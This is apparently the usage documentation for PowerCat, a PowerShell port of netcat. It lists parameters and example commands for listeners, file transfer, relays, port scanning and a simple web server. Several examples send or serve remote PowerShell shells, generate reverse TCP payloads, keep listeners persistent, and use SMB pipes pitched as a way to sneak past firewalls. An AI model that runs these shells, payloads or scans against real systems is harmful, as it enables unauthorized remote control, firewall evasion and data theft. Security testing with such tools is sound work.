PowerCat
Overview:
Netcat: The powershell version. (Powershell Version 2 and Later Supported)
More Information:
Functions & Parameters:
Start-PowerCat # Starts a listener/server.
-Mode # Defaults to Tcp, can also specify Udp or Smb.
-Port # The port to listen on.
-PipeName # Name of pipe to listen on.
-SslCn # Common name for Ssl encrypting Tcp.
-Relay # Format: ":"
-Execute # Execute a console process or powershell.
-SendFile # Filepath of file to send.
-ReceiveFile # Filepath of file to be written.
-Disconnect # Disconnect after connecting.
-KeepAlive # Restart after disconnecting.
-Timeout # Timeout option. Default: 60 seconds
Connect-PowerCat # Connects a client to a listener/server.
-Mode # Defaults to Tcp, can also specify Udp or Smb
-RemoteIp # IPv4 address of host to connect to.
-Port # The port to connect to.
-PipeName # Name of pipe to connect to.
-SslCn # Common name for Ssl encrypting Tcp.
-Relay # Format: "::"
-Execute # Execute a console process or powershell.
-SendFile # Filepath of file to send.
-ReceiveFile # Filepath of file to be written.
-Disconnect # Disconnect after connecting.
-Timeout # Timeout option. Default: 60 seconds
Basic Connections
By default, PowerCat uses TCP and reads from / writes to the console.
# Basic Listener:
Start-PowerCat -Port 443
# Basic Client:
Connect-PowerCat -RemoteIp 10.1.1.1 -Port 443
File Transfer
PowerCat can be used to transfer files using the -SendFile and -ReceiveFile parameters.
# Send File:
Connect-PowerCat -RemoteIp 10.1.1.1 -Port 443 -SendFile C:\pathto\inputfile
# Receive File:
Start-PowerCat -Port 443 -ReceiveFile C:\pathto\outputfile
Shells
PowerCat can be used to send and serve (Power)Shells using the -Execute parameter.
# Serve a shell:
Start-PowerCat -Port 443 -Execute
# Send a Shell:
Connect-PowerCat -RemoteIp 10.1.1.1 -Port 443 -Execute
UDP and SMB
PowerCat supports more than sending data over TCP.
# Send Data Over UDP:
Start-PowerCat -Mode Udp -Port 8000
# Send Data Over SMB (easily sneak past firewalls):
Start-PowerCat -Mode Smb -PipeName PowerCat
SSL
PowerCat generates X509 certificates on-the-fly to provide SSL encryption of TCP connections.
# Admin privileges are required to generate the self-signed certificate.
# Serve an SSL-Encrypted (Power)Shell:
Start-PowerCat -Mode Tcp -Port 80 -SslCn -Execute
# Connect to an SSL encrypted Ncat listener:
# Setup *nix with openssl & Ncat:
# openssl req -X509 -newkey rsa:2048 -subj /CN=PowerCat -days 90 -keyout key.pem -out cert.pem
# ncat -l -p 80 --ssl --ssl-cert cert.pem --ssl-key key.pem
Connect-PowerCat -Mode Tcp -RemoteIp 10.1.1.1 -Port 80 -SslCn PowerCat
Relays
Relays in PowerCat are similar to netcat relays, but you don't have to create a file or start a second process. You can also relay data between connections of different protocols.
# UDP Listener to TCP Client Relay:
Start-PowerCat -Mode Udp -Port 8000 -Relay tcp:10.1.1.16:443
# TCP Listener to UDP Client Relay:
Start-PowerCat -Port 8000 -Relay udp:10.1.1.16:53
# TCP Client to Client Relay
Connect-PowerCat -RemoteIp 10.1.1.1 -Port 9000 -Relay tcp:10.1.1.16:443
# TCP Listener to SMB Listener Relay
New-PowerCat -Listener -Port 8000 -Relay smb:PowerCat
Generate Payloads
Payloads can be generated using the New-PowerCatPayload function.
# Generate a reverse tcp payload that connects back to 10.1.1.15 port 443:
New-PowerCatPayload -RemoteIp 10.1.1.15 -Port 443 -Execute
# Generate a tcp payload that listens on port 8000:
New-PowerCatPayload -Listener -Port 8000 -Execute
Misc Usage
PowerCat can also perform port-scans, start persistent listeners, or act as a simple web server.
# Basic TCP port scan:
1..1024 | ForEach-Object { Connect-PowerCat -RemoteIp 10.1.1.10 -Port $_ -Timeout 1 -Verbose -Disconnect }
# Basic UDP port scan:
1..1024 | ForEach-Object { Connect-PowerCat -Mode Udp -RemoteIp 10.1.1.10 -Port $_ -Timeout 1 -Verbose }
# Persistent listener:
Start-PowerCat -Port 443 -Execute -KeepAlive
# Simple Web Server:
Start-PowerCat -Port 80 -SendFile index.html